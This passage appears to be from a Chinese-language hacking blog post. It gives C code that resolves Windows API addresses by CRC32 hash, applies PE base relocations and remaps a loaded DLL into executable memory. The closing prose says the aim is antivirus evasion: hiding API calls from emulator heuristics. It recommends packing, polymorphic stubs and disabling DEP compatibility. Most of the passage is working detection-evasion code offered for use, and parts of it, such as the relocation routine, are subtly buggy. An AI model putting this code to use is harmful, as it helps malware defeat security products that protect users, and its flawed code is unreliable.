    pEd = (PIMAGE_EXPORT_DIRECTORY)__​​RvaToVa__(pBaseAddress, pExportDataDirectory->VirtualAddress);
    if (HIWORD((DWORD)pHashPoint)==0) {
        wOrdinal = (WORD)(LOWORD((DWORD)pHashPoint)) - pEd->Base;
    } else {
        ULONG i, iCount;
        ULONG *pdwNamePtr;
        WORD *pwOrdinalPtr;

        iCount = (ULONG)(pEd->NumberOfNames);
        pdwNamePtr = (ULONG *)__RvaToVa__(pBaseAddress, pEd->AddressOfNames);
        pwOrdinalPtr = (WORD *)__RvaToVa__(pBaseAddress, pEd->AddressOfNameOrdinals);

        for(i = 0; i < iCount; i++) {
            BYTE HashValue[1024];
            CHAR *svName = NULL;
            ULONG iHashValueSize = 0;
            ULONG iSvNameLen = 0;

            svName = (char *)__RvaToVa__(pBaseAddress, *pdwNamePtr);
            iSvNameLen = strlen(svName);
            iHashValueSize = pHashFunc((PUCHAR)svName, iSvNameLen, HashValue);
            if (strcmp("GetLastError", svName) == 0)
            {
                int i = 0;
            }
            if (iHashValueSize == iHashSize) {
                if (memcmp(HashValue, pHashPoint, iHashSize) == 0) {
                    wOrdinal = *pwOrdinalPtr;
                    break;
                }
            }
            pdwNamePtr++;
            pwOrdinalPtr++;
        }
        if (i == iCount) return NULL;
    }

    pAddrTable=(ULONG *)__RvaToVa__(pBaseAddress, pEd->AddressOfFunctions);
    ofRVA = pAddrTable[wOrdinal];
    addrAddr = (ULONG)__RvaToVa__(pBaseAddress, ofRVA);
    if (((ULONG)addrAddr >= (ULONG)pEd) &&
        ((ULONG)addrAddr < (ULONG)pEd + (ULONG)iExpDataSize))
        (FARPROC)addrAddr = xLdrFixupForward((PUCHAR)addrAddr, fpLoadLibraryA);

    return (FARPROC)addrAddr;
}

FARPROC xLdrGetProcedureAddress(PUCHAR pBaseAddress, PUCHAR pHashPoint, ULONG iHashSize, FPHashFunc pHashFunc, FARPROC fpLoadLibraryA) {
    FARPROC pProcedureAddress = NULL;
    ULONG dwOrdinal = (ULONG)pHashPoint;

    if (HIWORD((ULONG)pHashPoint)) {
        pProcedureAddress = xLdrGetExportByName(pBaseAddress, pHashPoint, iHashSize, pHashFunc, fpLoadLibraryA);
    } else {
        dwOrdinal &= 0x0000FFFF;
        pProcedureAddress = xLdrGetExportByOrdinal(pBaseAddress, (WORD)dwOrdinal, fpLoadLibraryA);
    }
    return pProcedureAddress;
}

FARPROC g_pLoadLibraryAInGetProcAddressByCrc32 = NULL;

VOID xInitGetProcAddress(FARPROC pLoadLibraryA) {
    g_pLoadLibraryAInGetProcAddressByCrc32 = pLoadLibraryA;
}

FARPROC xGetProcAddressByCrc32(HMODULE hModule, PUCHAR pCrc32Point) {
    FARPROC pProc = NULL;
    pProc = xLdrGetProcedureAddress((PUCHAR)hModule,
                                    pCrc32Point,
                                    sizeof(DWORD),
                                    MyHashFunc,
                                    (FARPROC)g_pLoadLibraryAInGetProcAddressByCrc32);
    return pProc;
}

// 重定位所需結構
#pragma pack(push,1)
// 修復入口
typedef struct _IMAGE_FIXUP_ENTRY {
    WORD offset:12;
    WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
// 重定位塊
typedef struct _IMAGE_FIXUP_BLOCK {
    DWORD dwPageRVA;
    DWORD dwBlockSize;
} IMAGE_FIXUP_BLOCK, *PIMAGE_FIXUP_BLOCK;
#pragma pack(pop)
BOOL BaseRelocation(PUCHAR pMem, DWORD addrOldImageBase, DWORD addrNewImageBase, BOOL bIsInFile) {
    PIMAGE_NT_HEADERS pNtHdr = NULL;
    DWORD delta = (DWORD)(addrNewImageBase - addrOldImageBase);
    DWORD *pFixAddRhi = NULL;
    BOOL bHaveFixAddRhi = FALSE;
    DWORD iRelocSize = 0;

    pNtHdr = __GetNtHeader__(pMem);
    iRelocSize = pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;

    if ((delta) && (iRelocSize)) {
        PIMAGE_FIXUP_BLOCK pStartFB = NULL;
        PIMAGE_FIXUP_BLOCK pIBR = NULL;
        if (bIsInFile) {
            DWORD iRelocRaw = Rva2Raw(pMem, pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
            pIBR = (PIMAGE_FIXUP_BLOCK)(pMem + iRelocRaw);
        } else {
            pIBR = (PIMAGE_FIXUP_BLOCK)__RvaToVa__(addrNewImageBase, pNtHdr->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
        }
        pStartFB = pIBR;

        // 遍歷每個重定位塊
        while ((DWORD)(pIBR - pStartFB) < iRelocSize) {
            PIMAGE_FIXUP_ENTRY pFE;
            DWORD i, iCount = 0;
            if (pIBR->dwBlockSize > 0) {
                iCount=(pIBR->dwBlockSize - sizeof(IMAGE_FIXUP_BLOCK)) / sizeof(IMAGE_FIXUP_ENTRY);
                pFE = (PIMAGE_FIXUP_ENTRY)(((PUCHAR)pIBR) + sizeof(IMAGE_FIXUP_BLOCK));
            } else {
                //pIBR = (PIMAGE_FIXUP_BLOCK)(((__memory)pIBR) + sizeof(IMAGE_FIXUP_BLOCK));
                //continue;
                break;
            }

            // 修復每個入口
            for (i = 0; i < iCount; i++) {
                PUCHAR pFixAddr = NULL;
                if (bIsInFile) {//如果在文件中
                    DWORD ofRva = pIBR->dwPageRVA + pFE->offset;
                    DWORD ofRaw = Rva2Raw(pMem, ofRva);
                    pFixAddr = pMem + ofRaw;
                } else {//如果在內存中
                    pFixAddr = (PUCHAR)__RvaToVa__(addrNewImageBase, pIBR->dwPageRVA + pFE->offset);
                }

                switch (pFE->type)
                {
#if defined(_X86_)
                case IMAGE_REL_BASED_ABSOLUTE:
                    break;
                case IMAGE_REL_BASED_HIGH:
                    *((signed short *)pFixAddr) += (signed short)HIWORD(delta);
                    break;
                case IMAGE_REL_BASED_LOW:
                    *((signed short *)pFixAddr) += (signed short)LOWORD(delta);
                    break;
                case IMAGE_REL_BASED_HIGHLOW:
                    *((signed short *)pFixAddr) += (signed short)delta;
                    break;
                case IMAGE_REL_BASED_HIGHADJ: // This one's really fucked up.
                    {
                        DWORD dwAdjust;
                        dwAdjust = ((*((WORD *)pFixAddr)) << 16) | (*(WORD *)(pFE + 1));
                        (signed long)dwAdjust += (signed long)delta;
                        dwAdjust += 0x00008000;
                        *((WORD *)pFixAddr) = HIWORD(dwAdjust);
                    }
                    pFE++;
                    break;
#endif
                default:
                    return FALSE;
                }/* end switch */
                pFE++;
            }/* end for */

            pIBR = (PIMAGE_FIXUP_BLOCK)((PUCHAR)pIBR + pIBR->dwBlockSize);
        }/* end while */
    }
    return TRUE;
}

// 重映射DLL
PUCHAR RemapDllEx(PUCHAR pOrigMap, FPVirtualAlloc pVirtualAlloc) {
    PUCHAR pNewMap = NULL;
    DWORD iSizeOfImage = 0;
    FPDllMain pDllMain = NULL;
    PIMAGE_NT_HEADERS pOrigMapNtHdr = NULL;

    pOrigMapNtHdr = __GetNtHeader__(pOrigMap);
    iSizeOfImage = pOrigMapNtHdr->OptionalHeader.SizeOfImage;
    pNewMap = (PUCHAR)pVirtualAlloc(NULL, iSizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pNewMap) return NULL;
    memset(pNewMap, 0, iSizeOfImage);
    memcpy(pNewMap, pOrigMap, iSizeOfImage);
    // 進行重定位
    BaseRelocation(pNewMap, (DWORD)pOrigMap, (DWORD)pNewMap, FALSE);
    // 獲取到入口點地址,並運行
    //pDllMain = (FPDllMain)(pNewMap + (pOrigMapNtHdr->OptionalHeader.AddressOfEntryPoint));
    //pDllMain((HMODULE)pNewMap, DLL_PROCESS_ATTACH, NULL);
    return pNewMap;
}

PUCHAR RemapDll(PUCHAR pOrigMap) {
    return RemapDllEx(pOrigMap, VirtualAlloc);
}
在LoadLibrary後使用Remap重新映射出一個句柄,再使用xGetProcAddress使用預定義的Hash值獲取API地址。這樣虛擬機在跑的過程中就不能判別調用的地址到底是哪個函數,達到通過虛擬機啟發式的檢測。

代碼上用到了crc32算法不貼了自己寫吧。這是在SOURCE上的免殺,如果是BIN,就做殼。在處理引入表的時候,重新映射,或許可以加一些stub之類的。還有變形。這樣保護性能也可以提高。 。 。

如果開啟了DEP選項,在SOUCE時在C++編譯便簽修改為DEP不兼容,如果是BIN上把BIN的DLL屬性的DEP兼容清位就可以了。如果目標機器開啟DEP 2級。那麼就神馬都是浮云了。 。 。